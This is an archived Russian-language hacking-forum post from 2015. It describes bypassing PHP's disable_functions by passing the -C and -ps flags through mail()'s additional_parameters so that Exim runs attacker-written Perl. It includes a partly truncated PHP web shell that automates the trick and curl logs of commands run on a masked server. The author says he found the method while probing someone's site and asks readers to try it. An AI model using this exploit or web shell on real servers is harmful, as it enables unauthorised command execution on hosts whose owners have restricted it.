ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

28.08.2015, 21:28
|
|
Guest
Сообщений: n/a
Провел на форуме: 300820
Репутация:
90
|
|
ковырял один сайт, позарез хотелось обойти disable_function, обнаружил один способ
в пыхе при вызове функции mail() можно передать необязательные параметры "additional_parameters"
.SpoilerTarget" type="button">Spoiler
Параметр additional_parameters может быть использован для передачи дополнительных флагов в виде аргументов командной строки для программы сконфигурированной для отправки писем, указанной директивой sendmail_path. Например, можно установить отправителя письма при использовании sendmail с помощью опции -f.
Параметр автоматически экранируется функцией escapeshellcmd(), чтобы не допустить выполнение команд. Но escapeshellcmd() позволяет добавлять дополнительные параметры. В целях безопасности рекомендуется проверять и очищать этот параметр.
Так как escapeshellcmd() применяется автоматически, то нельзя использовать некоторые символы, допустимые к использованию в email-адресах некоторыми RFC. mail() не допускает такие символы, поэтому в программах, в которых они требуются, рекомендуется использовать альтернативы для их отправки (например фреймворки или библиотеки).
Пользователь, под которым работает веб-сервер должен быть добавлен в список доверенных в конфигурации sendmail для того чтобы избежать добавления заголовка 'X-Warning' при указании отправителя с помощью опции (-f). Для пользователей sendmail - это файл /etc/mail/trusted-users.
это параметры будут переданы при вызове sendmail
можно передать альтернативный конфиг( опция -C ), в котором вызвать выполнение perl скрипта( опция -ps )
особо нигде не тестил, только на своем сайте - php 5.4, exim версия под спойлером
.SpoilerTarget" type="button">Spoiler
Exim version 4.76
Berkeley DB: Berkeley DB 5.1.25: (January 28, 2011)
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc GnuTLS move_frozen_messages Content_Scanning DKIM Old_Demime
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmnz dnsdb dsearch ldap ldapdn ldapm mysql nis nis0 passwd pgsql sqlite
Authenticators: cram_md5 cyrus_sasl dovecot plaintext spa
Routers: accept dnslookup ipliteral iplookup manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp
Fixed never_users: 0
Size of off_t: 8
Compiler: GCC [4.6.3]
Library version: GnuTLS: Compile: 2.12.14
Runtime: 2.12.14
Library version: Cyrus SASL: Compile: 2.1.25
Runtime: 2.1.25 [Cyrus SASL]
Library version: PCRE: Compile: 8.12
Runtime: 8.12 2011-01-15
20:06:28 36459 Total 18 lookups
Library version: MySQL: Compile: 5.5.28 [(Ubuntu)]
Runtime: 5.1.73
Library version: SQLite: Compile: 3.7.9
Runtime: 3.7.9
набросал небольшой код для автоматизации, под спойлером
.SpoilerTarget" type="button">Spoiler
Код:
Code:
$path/tmp.result');print A \"\$a\";close(A);");
file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
mail('q','q','q','',"-C$path/ex.cf -ps");
echo file_get_contents("$path/tmp.result");
unlink("$path/tmp.result");
unlink("$path/tmp.pl");
unlink("$path/ex.cf");
результат работы -
.SpoilerTarget" type="button">Spoiler
Код:
Code:
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=which wget;wget -h | head -n 3'[*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority[*] cmd: which wget;wget -h | head -n 3[*] result: /usr/bin/wget
GNU Wget 1.13.4, a non-interactive network retriever.
Usage: wget [OPTION]... [URL]...
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=uname'[*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority[*] cmd: uname[*] result: Linux
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=cat q.php'[*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority[*] cmd: cat q.php[*] result: $path/tmp.result');print A \"\$a\";close(A);");
file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
mail('q','q','q','',"-C$path/ex.cf -ps");
echo file_get_contents("$path/tmp.result");
unlink("$path/tmp.result");
unlink("$path/tmp.pl");
unlink("$path/ex.cf");
само собой нужно чтобы была дира для записи, exim4 поддерживал перл и сам юзер( из под которого работает пых ) имел права на запуск перла
сори если не в той ветке пишу, потестите у кого будет время
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|